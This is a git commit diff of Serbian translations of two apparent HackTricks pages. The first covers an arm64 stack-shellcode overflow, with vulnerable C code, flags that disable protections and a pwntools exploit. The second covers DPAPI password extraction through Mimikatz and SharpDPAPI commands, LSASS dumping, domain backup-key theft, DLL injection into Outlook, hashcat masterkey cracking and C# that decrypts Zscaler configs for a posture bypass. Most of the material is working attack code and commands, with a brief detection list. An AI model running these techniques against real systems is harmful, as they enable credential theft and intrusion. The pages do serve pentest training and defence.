Translated ['src/binary-exploitation/stack-overflow/stack-shellcode/stac

This commit is contained in:
Translator 2025-09-05 19:03:22 +00:00
parent 2129b509f7
commit 322c3ff0da
2 changed files with 96 additions and 82 deletions

View File

@ -4,12 +4,13 @@
Pronađite uvod u arm64 u:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
## Code
## Linux
### Kod
```c
#include <stdio.h>
#include <unistd.h>
@ -24,19 +25,19 @@ vulnerable_function();
return 0;
}
```
Kompajlirati bez pie, kanarinca i nx:
Kompajlirati bez pie, canary i nx:
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
## No ASLR & No canary - Stack Overflow
### Bez ASLR & Bez canary - Stack Overflow
Da biste zaustavili ASLR, izvršite:
Da biste onemogućili ASLR, izvršite:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
Da biste dobili [**offset od bof proverite ovaj link**](../ret2win/ret2win-arm64.md#finding-the-offset).
Da biste dobili [**offset of the bof — pogledajte ovaj link**](../ret2win/ret2win-arm64.md#finding-the-offset).
Eksploatacija:
Exploit:
```python
from pwn import *
@ -67,8 +68,21 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
Jedina "komplikovana" stvar koju treba pronaći ovde bi bila adresa u steku koju treba pozvati. U mom slučaju, generisao sam exploit sa adresom pronađenom pomoću gdb-a, ali kada sam ga iskoristio, nije radilo (jer se adresa steka malo promenila).
The only "complicated" thing to find here would be the address in the stack to call. In my case I generated the exploit with the address found using gdb, but then when exploiting it it didn't work (because the stack address changed a bit).
I opened the generated **`core` fajl** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
## macOS
> [!TIP]
> Nije moguće onemogućiti NX na macOS-u zato što je na arm64 ovaj režim implementiran na nivou hardvera pa ga ne možete onemogućiti, tako da nećete nalaziti primere sa shellcode-om u stacku na macOS-u.
Pogledajte macOS ret2win primer u:
{{#ref}}
../ret2win/ret2win-arm64.md
{{#endref}}
Otvorio sam generisani **`core` fajl** (`gdb ./bog ./core`) i proverio pravu adresu početka shellcode-a.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# DPAPI - Extracting Passwords
# DPAPI - Ekstrakcija lozinki
{{#include ../../banners/hacktricks-training.md}}
@ -6,33 +6,33 @@
## Šta je DPAPI
Data Protection API (DPAPI) se primarno koristi u Windows operativnom sistemu za **simetričnu enkripciju asimetričnih privatnih ključeva**, koristeći ili korisničke ili sistemske tajne kao značajan izvor entropije. Ovakav pristup pojednostavljuje enkripciju za developere omogućavajući im da šifruju podatke koristeći ključ izveden iz korisničkih logon tajni ili, za sistemsku enkripciju, iz sistemskih tajni autentifikacije domena, čime se eliminiše potreba da developeri sami upravljaju zaštitom ključa za enkripciju.
The Data Protection API (DPAPI) is primarily utilized within the Windows operating system for the **symmetric encryption of asymmetric private keys**, leveraging either user or system secrets as a significant source of entropy. This approach simplifies encryption for developers by enabling them to encrypt data using a key derived from the user's logon secrets or, for system encryption, the system's domain authentication secrets, thus obviating the need for developers to manage the protection of the encryption key themselves.
Najčešći način korišćenja DPAPI je preko funkcija **`CryptProtectData` i `CryptUnprotectData`**, koje omogućavaju aplikacijama da sigurno enkriptuju i dekriptuju podatke u okviru sesije procesa koji je trenutno prijavljen. To znači da šifrovani podaci mogu biti dekriptovani samo od strane istog korisnika ili sistema koji ih je šifrovao.
The most common way to use DPAPI is through the **`CryptProtectData` and `CryptUnprotectData`** functions, which allow applications to encrypt and decrypt data securely with the session of the process that is currently logged on. This means that the encrypted data can only be decrypted by the same user or system that encrypted it.
Pored toga, ove funkcije prihvataju i **`entropy`** parametar koji se takođe koristi prilikom enkripcije i dekripcije, tako da, da biste dekriptovali nešto što je šifrovano korišćenjem ovog parametra, morate obezbediti istu entropy vrednost koja je korišćena pri enkripciji.
Moreover, these functions accepts also an **`entropy` parameter** which will also be used during encryption and decryption, therefore, in order to decrypt something encrypted using this parameter, you must provide the same entropy value that was used during encryption.
### Generisanje korisničkog ključa
DPAPI generiše jedinstveni ključ (zvan **`pre-key`**) za svakog korisnika na osnovu njihovih kredencijala. Ovaj ključ je izveden iz korisničke lozinke i drugih faktora, a algoritam zavisi od tipa korisnika, ali na kraju rezultuje SHA1. Na primer, za korisnike domena, **zavisi od NTLM hasha korisnika**.
The DPAPI generates a unique key (called **`pre-key`**) for each user based on their credentials. This key is derived from the user's password and other factors and the algorithm depends on the type of user but ends being a SHA1. For example, for domain users, **it depends on the NTLM hash of the user**.
Ovo je posebno interesantno zato što, ako napadač može da pribavi hash korisničke lozinke, on može:
This is specially interesting because if an attacker can obtain the user's password hash, they can:
- **Dekriptovati bilo koje podatke koji su šifrovani koristeći DPAPI** tim korisničkim ključem bez potrebe da kontaktira bilo koji API
- Pokušati da **crackuje lozinku** offline pokušavajući da generiše validan DPAPI ključ
- **Decrypt any data that was encrypted using DPAPI** with that user's key without needing to contact any API
- Try to **crack the password** offline trying to generate the valid DPAPI key
Pored toga, svaki put kada korisnik enkriptuje podatke korišćenjem DPAPI, generiše se novi **master key**. Taj master key je onaj koji se zapravo koristi za enkripciju podataka. Svakom master ključu je pridružen **GUID** (Globally Unique Identifier) koji ga identifikuje.
Moreover, every time some data is encrypted by a user using DPAPI, a new **master key** is generated. This master key is the one actually used to encrypt data. Each master key is given with a **GUID** (Globally Unique Identifier) that identifies it.
Master ključevi se čuvaju u direktorijumu **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, gde je `{SID}` Security Identifier tog korisnika. Master ključ je sačuvan šifrovan korisnikovim **`pre-key`** i takođe pomoću **domain backup key** radi oporavka (dakle isti ključ je sačuvan šifrovan 2 puta pomoću 2 različita ključa).
The master keys are stored in the **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** directory, where `{SID}` is the Security Identifier of that user. The master key is stored encrypted by the user's **`pre-key`** and also by a **domain backup key** for recovery (so the same key is stored encrypted 2 times by 2 different pass).
Imajte na umu da **domain key koji se koristi za enkripciju master ključa postoji na domain controller-ima i nikad se ne menja**, tako da ako napadač ima pristup domain controller-u, može pribaviti domain backup key i dekriptovati master ključeve svih korisnika u domenu.
Note that the **domain key used to encrypt the master key is in the domain controllers and never changes**, so if an attacker has access to the domain controller, they can retrieve the domain backup key and decrypt the master keys of all users in the domain.
Šifrovani blobovi sadrže **GUID master ključa** koji je korišćen za enkripciju podataka unutar svog header-a.
The encrypted blobs contain the **GUID of the master key** that was used to encrypt the data inside its headers.
> [!TIP]
> DPAPI šifrovani blobovi počinju sa **`01 00 00 00`**
> DPAPI encrypted blobs starts with **`01 00 00 00`**
Pronalaženje master ključeva:
Pronađite master ključeve:
```bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
@ -47,35 +47,35 @@ This is what a bunch of Master Keys of a user will looks like:
### Machine/System key generation
Ovo je ključ koji koristi mašina za enkripciju podataka. Bazira se na **DPAPI_SYSTEM LSA secret**, što je poseban ključ kojem može pristupiti samo SYSTEM korisnik. Ovaj ključ se koristi za enkriptovanje podataka koji moraju biti dostupni samom sistemu, kao što su kredencijali na nivou mašine ili sistemski tajni podaci.
Ovo je ključ koji mašina koristi za enkripciju podataka. Baziran je na **DPAPI_SYSTEM LSA secret**, koji je poseban ključ kojem može pristupiti samo SYSTEM korisnik. Ovaj ključ se koristi za enkriptovanje podataka kojima sam sistem treba da pristupi, kao što su kredencijali na nivou mašine ili sistemske tajne.
Imajte na umu da ovi ključevi **nemaju domain backup**, pa im se može pristupiti samo lokalno:
Imajte na umu da ovi ključevi **nemaju rezervnu kopiju na domenu** pa su dostupni samo lokalno:
- **Mimikatz** može doći do njega dumpovanjem LSA secrets koristeći komandu: `mimikatz lsadump::secrets`
- Tajna se čuva u registry-ju, tako da administrator može **izmeniti DACL permisije da bi joj pristupio**. Putanja u registry-ju je: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
- **Mimikatz** može pristupiti tako što će dump-ovati LSA secrets koristeći komandu: `mimikatz lsadump::secrets`
- Tajna je smeštena u registru, pa administrator može **izmeniti DACL dozvole da bi joj pristupio**. Putanja u registru je: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
### Protected Data by DPAPI
Među ličnim podacima koje štiti DPAPI nalaze se:
Među ličnim podacima koje štiti DPAPI su:
- Windows creds
- Internet Explorer i Google Chrome lozinke i podaci za automatsko popunjavanje
- Lozinke e-mail i unutrašnjih FTP naloga za aplikacije kao što su Outlook i Windows Mail
- Lozinke za deljene foldere, resurse, bežične mreže i Windows Vault, uključujući enkripcijske ključeve
- Lozinke za remote desktop konekcije, .NET Passport i privatne ključeve za razne svrhe enkripcije i autentifikacije
- Mrežne lozinke koje upravlja Credential Manager i lični podaci u aplikacijama koje koriste CryptProtectData, kao što su Skype, MSN messenger i drugi
- Enkriptovani blobovi unutar registry-ja
- Windows kredencijali
- šifre i podaci za automatsko popunjavanje Internet Explorera i Google Chrome-a
- šifre za e-mail i interne FTP naloge u aplikacijama kao što su Outlook i Windows Mail
- šifre za deljene foldere, resurse, bežične mreže i Windows Vault, uključujući ključeve za enkripciju
- šifre za remote desktop konekcije, .NET Passport i privatne ključeve za razne enkripcijske i autentifikacione svrhe
- mrežne lozinke koje upravlja Credential Manager i lični podaci u aplikacijama koje koriste CryptProtectData, kao što su Skype, MSN messenger i slično
- enkriptovani blob-ovi unutar registra
- ...
Sistemski zaštićeni podaci uključuju:
- Wifi lozinke
- Lozinke za scheduled task-ove
- WiFi lozinke
- lozinke za zakazane zadatke
- ...
### Master key extraction options
- Ako korisnik ima domain admin privilegije, može pristupiti **domain backup key** da dekriptuje sve korisničke master ključeve u domenu:
- Ako korisnik ima privilegije domenskog administratora, može pristupiti **ključu za rezervnu kopiju domena** kako bi dešifrovao sve korisničke master ključeve u domenu:
```bash
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
@ -83,17 +83,17 @@ lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
```
- Sa lokalnim admin privilegijama, moguće je **pristupiti LSASS memoriji** i izvući DPAPI master keys svih povezanih korisnika i SYSTEM key.
- Sa lokalnim administratorskim privilegijama moguće je **pristupiti LSASS memoriji** i izvući DPAPI master ključeve svih povezanih korisnika i SYSTEM ključ.
```bash
# Mimikatz
mimikatz sekurlsa::dpapi
```
- Ako korisnik ima local admin privileges, može pristupiti **DPAPI_SYSTEM LSA secret** kako bi dešifrovao machine master keys:
- Ako korisnik ima lokalne administratorske privilegije, može pristupiti **DPAPI_SYSTEM LSA secret** kako bi dekriptovao glavne ključeve mašine:
```bash
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
```
- Ako je password ili hash NTLM korisnika poznat, možete **decrypt the master keys of the user directly**:
- Ako su password ili hash NTLM korisnika poznati, možete **decrypt the master keys of the user directly**:
```bash
# Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
@ -101,7 +101,7 @@ dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER
# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
```
- Ako ste u sesiji kao korisnik, moguće je zatražiti DC za **backup key to decrypt the master keys using RPC**. Ako ste lokalni admin i korisnik je prijavljen, možete za ovo **steal his session token**:
- Ako ste u sesiji kao korisnik, moguće je zatražiti od DC-a **backup key to decrypt the master keys using RPC**. Ako ste local admin i korisnik je prijavljen, možete **steal his session token** za ovo:
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -109,7 +109,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
## Lista Vault
## Lista Vault-a
```bash
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
@ -121,7 +121,7 @@ mimikatz vault::list
### Pronalaženje DPAPI šifrovanih podataka
Obično se korisničke **zaštićene datoteke** nalaze u:
Uobičajeni **zaštićeni fajlovi** korisnika nalaze se u:
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
@ -135,7 +135,7 @@ dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) može pronaći DPAPI šifrovane blobove u datotečnom sistemu, registru i B64 blobovima:
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) može pronaći DPAPI šifrovane blobove u fajl sistemu, registry-ju i B64 blobovima:
```bash
# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default
@ -150,11 +150,11 @@ search /type:file /path:C:\path\to\file
# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]
```
Imajte na umu da [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (iz istog repozitorijuma) može se koristiti za dekriptovanje osetljivih podataka (npr. cookies) pomoću DPAPI.
Imajte na umu da [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (iz istog repozitorijuma) može da se koristi za dešifrovanje DPAPI-om zaštićenih osetljivih podataka, kao što su cookies.
### Pristupni ključevi i podaci
- **Koristite SharpDPAPI** da dobijete kredencijale iz DPAPI šifrovanih fajlova iz trenutne sesije:
- **Use SharpDPAPI** za dobijanje kredencijala iz DPAPI-šifrovanih fajlova iz trenutne sesije:
```bash
# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
@ -163,7 +163,7 @@ SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
# Decrypt machine data
SharpDPAPI.exe machinetriage
```
- **Dobijte informacije o credentials** kao šifrovane podatke i guidMasterKey.
- **Dohvati informacije o credentials** kao što su encrypted data i guidMasterKey.
```bash
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
@ -175,7 +175,7 @@ pbData : b8f619[...snip...]b493fe
```
- **Access masterkeys**:
Dekriptiraj masterkey korisnika koji zahteva **domain backup key** koristeći RPC:
Dekriptirajte masterkey korisnika koji zahteva **domain backup key** koristeći RPC:
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -183,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
Alat **SharpDPAPI** takođe podržava sledeće argumente za dešifrovanje masterkey-a (primetite kako je moguće koristiti `/rpc` da biste dobili backup ključ domena, `/password` za upotrebu plaintext lozinke, ili `/pvk` da biste naveli DPAPI domain private key file...):
Alat **SharpDPAPI** takođe podržava ove argumente za dešifrovanje masterkey-a (obratite pažnju da je moguće koristiti `/rpc` za preuzimanje domain backup key-a, `/password` za korišćenje plaintext password-a, ili `/pvk` za navođenje DPAPI domain private key fajla...):
```
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
@ -195,7 +195,7 @@ Alat **SharpDPAPI** takođe podržava sledeće argumente za dešifrovanje master
/server:SERVER - triage a remote server, assuming admin access
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
```
- **Dešifruj podatke koristeći masterkey**:
- **Dešifrujte podatke koristeći masterkey**:
```bash
# Mimikatz
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
@ -203,7 +203,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
```
Alat **SharpDPAPI** takođe podržava sledeće argumente za dešifrovanje `credentials|vaults|rdg|keepass|triage|blob|ps` (imajte na umu da je moguće koristiti `/rpc` da biste dobili rezervni ključ domena, `/password` da biste koristili plain-text lozinku, `/pvk` da navedete DPAPI domain private key file, `/unprotect` da iskoristite sesiju trenutnog korisnika...):
Alat **SharpDPAPI** takođe podržava ove argumente za dešifrovanje `credentials|vaults|rdg|keepass|triage|blob|ps` (napomena: moguće je koristiti `/rpc` da se dobije rezervni ključ domena, `/password` da se koristi lozinka u plaintextu, `/pvk` da se navede fajl privatnog ključa DPAPI domena, `/unprotect` da se iskoristi trenutna korisnička sesija...):
```
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
@ -222,7 +222,7 @@ Targeting:
Note: must use with /pvk:KEY or /password:X
Note: not applicable to 'blob' or 'ps' commands
```
- Dešifruj neke podatke koristeći **trenutnu korisničku sesiju**:
- Dekriptiraj neke podatke koristeći **trenutnu korisničku sesiju**:
```bash
# Mimikatz
dpapi::blob /in:C:\path\to\encrypted\file /unprotect
@ -230,11 +230,12 @@ dpapi::blob /in:C:\path\to\encrypted\file /unprotect
# SharpDPAPI
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
```
### Handling Optional Entropy ("Third-party entropy")
---
### Rukovanje opcionom entropijom ("Third-party entropy")
Neke aplikacije prosleđuju dodatnu vrednost **entropy** funkciji `CryptProtectData`. Bez te vrednosti blob ne može biti dekriptovan, čak i ako je ispravan masterkey poznat. Dobijanje **entropy** je stoga neophodno kada ciljate kredencijale zaštićene na ovaj način (npr. Microsoft Outlook, neki VPN klijenti).
Neke aplikacije prosleđuju dodatnu vrednost **entropije** funkciji `CryptProtectData`. Bez ove vrednosti blob se ne može dešifrovati, čak i ako je poznat ispravan masterkey. Dobijanje entropije je stoga neophodno kada se ciljaju kredencijali zaštićeni na ovaj način (npr. Microsoft Outlook, neki VPN klijenti).
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) je DLL u korisničkom režimu koji hook-uje DPAPI funkcije unutar ciljnog procesa i transparentno beleži svaki opciono prosleđeni **entropy**. Pokretanje EntropyCapture u **DLL-injection** režimu nad procesima kao što su `outlook.exe` ili `vpnclient.exe` će kreirati fajl koji mapira svaki entropy buffer na pozivajući proces i blob. Uhvaćeni **entropy** se kasnije može proslediti **SharpDPAPI** (`/entropy:`) ili **Mimikatz** (`/entropy:<file>`) kako bi se podaci dekriptovali.
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) je user-mode DLL koji hook-uje DPAPI funkcije unutar ciljanog procesa i transparentno snima svaku opcionu entropiju koja je prosleđena. Pokretanje EntropyCapture u **DLL-injection** režimu protiv procesa kao što su `outlook.exe` ili `vpnclient.exe` generisaće fajl koji mapira svaki entropy buffer na pozivajući proces i blob. Uhvaćena entropija se kasnije može proslediti **SharpDPAPI** (`/entropy:`) ili **Mimikatz** (`/entropy:<file>`) kako bi se podaci dešifrovali.
```powershell
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
@ -242,9 +243,9 @@ InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
# Later decrypt a credential blob that required entropy
SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
```
### Krekovanje masterkey fajlova offline (Hashcat & DPAPISnoop)
### Cracking masterkeys offline (Hashcat & DPAPISnoop)
Microsoft je uveo format masterkey-a **context 3** počevši od Windows 10 v1607 (2016). `hashcat` v6.2.6 (decembar 2023) je dodao hash-mode-ove **22100** (DPAPI masterkey v1 context), **22101** (context 1) i **22102** (context 3) koji omogućavaju GPU-akcelerisano krekovanje korisničkih lozinki direktno iz masterkey fajla. Napadači stoga mogu da izvrše word-list ili brute-force napade bez interakcije sa ciljnim sistemom.
Microsoft je uveo **context 3** masterkey format počevši od Windows 10 v1607 (2016). `hashcat` v6.2.6 (December 2023) je dodao hash-modes **22100** (DPAPI masterkey v1 context), **22101** (context 1) i **22102** (context 3), što omogućava GPU-accelerated cracking of user passwords directly from the masterkey file. Napadači stoga mogu izvoditi word-list ili brute-force napade bez interakcije sa ciljnim sistemom.
`DPAPISnoop` (2024) automatizuje proces:
```bash
@ -252,12 +253,11 @@ Microsoft je uveo format masterkey-a **context 3** počevši od Windows 10 v1607
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4
```
Alat takođe može да parsira Credential and Vault blobs, dešifruje ih pomoću cracked keys i eksportuje cleartext passwords.
Alat takođe može da parsira Credential i Vault blobs, dekriptuje ih pomoću cracked keys i izveze cleartext passwords.
### Pristup podacima druge mašine
### Pristup podacima drugog računara
U **SharpDPAPI and SharpChrome** možete navesti opciju **`/server:HOST`** да pristupite podacima udaljenog računara. Naravno, morate imati pristup tom računaru, и u sledećem primeru pretpostavlja se da je **ključ za enkripciju rezervne kopije domena poznat**:
U **SharpDPAPI and SharpChrome** možete navesti opciju **`/server:HOST`** da pristupite podacima udaljene mašine. Naravno, morate moći da pristupite toj mašini, i u sledećem primeru se pretpostavlja da je **domain backup encryption key is known**:
```bash
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64
@ -266,49 +266,49 @@ SharpChrome cookies /server:HOST /pvk:BASE64
### HEKATOMB
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) je alat koji automatizuje ekstrakciju svih korisnika i računara iz LDAP direktorijuma i ekstrakciju domain controller backup key kroz RPC. Skripta zatim razrešava IP adrese svih računara i izvršava smbclient na svim računarima kako bi preuzela sve DPAPI blobs svih korisnika i dešifrovala sve sa domain backup key.
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) je alat koji automatski izvlači sve korisnike i računare iz LDAP direktorijuma i izvlači domain controller backup key kroz RPC. Skripta će potom rešiti IP adrese svih računara i pokrenuti smbclient na svim računarima da bi preuzela sve DPAPI blob-ove svih korisnika i dešifrovala sve pomoću domain backup key.
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
Sa liste računara izvučene iz LDAP-a možete pronaći sve podmreže čak i ako ih ranije niste poznavali!
Sa listom računara izvađenom iz LDAP-a možete pronaći svaku podmrežu čak i ako ih niste znali!
### DonPAPI 2.x (2024-05)
[**DonPAPI**](https://github.com/login-securite/DonPAPI) može automatski da iskopava tajne zaštićene DPAPI-jem. 2.x izdanje je uvelo:
[**DonPAPI**](https://github.com/login-securite/DonPAPI) može automatski izvući tajne zaštićene DPAPI. Verzija 2.x je uvela:
* Paralelno prikupljanje blobs sa stotina hostova
* Parsiranje **context 3** masterkeys i automatska Hashcat integracija za crackovanje
* Podrška za Chrome "App-Bound" encrypted cookies (vidi sledeći odeljak)
* Novi **`--snapshot`** režim za ponovljeno ispitivanje endpointa i diff novokreiranih blobs
* Paralelno prikupljanje blob-ova sa stotina hostova
* Parsiranje **context 3** masterkey-jeva i automatska integracija sa Hashcat cracking-om
* Podršku za Chrome "App-Bound" enkriptovane cookies (vidi sledeći odeljak)
* Novi **`--snapshot`** mod za periodično ispitivanje endpoint-a i diff novokreiranih blob-ova
### DPAPISnoop
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) je C# parser za masterkey/credential/vault fajlove koji može da ispisuje Hashcat/JtR formate i opcionalno automatski poziva crackovanje. Potpuno podržava machine i user masterkey formate do Windows 11 24H1.
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) je C# parser za masterkey/credential/vault fajlove koji može da izbacuje formate za Hashcat/JtR i opciono automatski pokreće cracking. Potpuno podržava machine i user masterkey formate do Windows 11 24H1.
## Uobičajene detekcije
- Pristup fajlovima u `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` i drugim DPAPI-povezanim direktorijumima.
- Posebno sa mrežnog share-a kao što su **C$** ili **ADMIN$**.
- Korišćenje **Mimikatz**, **SharpDPAPI** ili sličnih alata za pristupanje LSASS memoriji ili dumpovanje masterkeys.
- Događaj **4662**: *Izvršena je operacija nad objektom* može se korelisati sa pristupom **`BCKUPKEY`** objektu.
- Posebno sa network share-a kao što su **C$** ili **ADMIN$**.
- Upotreba **Mimikatz**, **SharpDPAPI** ili sličnih alata za pristup LSASS memoriji ili dump-ovanje masterkey-jeva.
- Događaj **4662**: *An operation was performed on an object* može se korelisati sa pristupom objektu **`BCKUPKEY`**.
- Događaj **4673/4674** kada proces zahteva *SeTrustedCredManAccessPrivilege* (Credential Manager)
---
### 2023-2025 ranjivosti i promene u ekosistemu
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (novembar 2023). Napadač sa mrežnim pristupom je mogao prevariti članicu domena da preuzme maliciozni DPAPI backup key, što je omogućavalo dešifrovanje korisničkih masterkey-a. Zakrpljeno u novembarskom cumulative update-u 2023 administratori treba da obezbede da su DC-ovi i radne stanice potpuno ažurirani.
* **Chrome 127 “App-Bound” cookie encryption** (jul 2024) zamenio je legacy DPAPI-only zaštitu dodatnim ključem koji se čuva pod korisnikovim **Credential Manager**. Offline dekriptovanje kolačića sada zahteva i DPAPI masterkey i **GCM-wrapped app-bound key**. SharpChrome v2.3 i DonPAPI 2.x mogu da oporave dodatni ključ kada se pokreću u korisničkom kontekstu.
* **CVE-2023-36004 Windows DPAPI Secure Channel Spoofing** (novembar 2023). Napadač sa mrežnim pristupom mogao je prevariti članicu domena da preuzme zlonamerni DPAPI backup key, omogućavajući dešifrovanje korisničkih masterkey-jeva. Ispravljeno u kumulativnom ažuriranju iz novembra 2023 — administratori treba da osiguraju da su DC-ovi i radne stanice potpuno zakrpljeni.
* **Chrome 127 “App-Bound” cookie encryption** (jul 2024) zamenio je nasleđenu DPAPI-only zaštitu dodatnim ključem koji se čuva u korisnikovom **Credential Manager**. Offline dešifrovanje kolačića sada zahteva i DPAPI masterkey i **GCM-wrapped app-bound key**. SharpChrome v2.3 i DonPAPI 2.x mogu da povrate dodatni ključ kada se pokreću u korisničkom kontekstu.
### Studija slučaja: Zscaler Client Connector Prilagođena entropija izvedena iz SID-a
### Studija slučaja: Zscaler Client Connector Custom Entropy izvedena iz SID
Zscaler Client Connector čuva nekoliko konfiguracionih fajlova pod `C:\ProgramData\Zscaler` (npr. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Svaki fajl je enkriptovan pomoću **DPAPI (Machine scope)** ali vendor isporučuje **prilagođenu entropiju** koja se *izračunava za vreme izvršavanja* umesto da se čuva na disku.
Zscaler Client Connector čuva nekoliko konfiguracionih fajlova pod `C:\ProgramData\Zscaler` (npr. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Svaki fajl je enkriptovan sa **DPAPI (Machine scope)**, ali vendor obezbeđuje **custom entropy** koja se *izračunava u runtime-u* umesto da bude sačuvana na disku.
Entropija se rekonstruiše iz dva elementa:
1. Hard-coded secret ugrađen u `ZSACredentialProvider.dll`.
1. Hard-kodovani tajni podatak ugrađen unutar `ZSACredentialProvider.dll`.
2. **SID** Windows naloga kojem konfiguracija pripada.
Algoritam koji implementira DLL je ekvivalentan:
Algoritam koji DLL implementira je ekvivalentan:
```csharp
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
@ -323,15 +323,15 @@ byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
```
Pošto je tajna ugrađena u DLL koji može da se pročita sa diska, **bilo koji lokalni napadač sa SYSTEM pravima može da ponovo generiše entropiju za bilo koji SID** i dešifruje blobove offline:
Pošto je tajna ugrađena u DLL koji se može pročitati sa diska, **bilo koji lokalni napadač sa SYSTEM privilegijama može ponovo generisati entropiju za bilo koji SID** i decrypt the blobs offline:
```csharp
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));
```
Dešifrovanje otkriva kompletnu JSON konfiguraciju, uključujući svaki **device posture check** i njegovu očekivanu vrednost informacija koja je veoma vredna pri pokušajima zaobilaženja na strani klijenta.
Dešifrovanje daje kompletnu JSON konfiguraciju, uključujući svaki **device posture check** i njegovu očekivanu vrednost — informacije koje su veoma vredne pri pokušajima zaobilaženja na klijentskoj strani.
> SAVET: ostali šifrovani artefakti (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) su zaštićeni sa DPAPI **bez** entropije (`16` zero bytes). Stoga se mogu direktno dešifrovati pomoću `ProtectedData.Unprotect` nakon što su dobijene SYSTEM privilegije.
> SAVET: drugi šifrovani artefakti (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) su zaštićeni sa DPAPI **bez** entropije (`16` zero bytes). Stoga se mogu direktno dešifrovati pomoću `ProtectedData.Unprotect` jednom kada se dobiju SYSTEM privilegije.
## Reference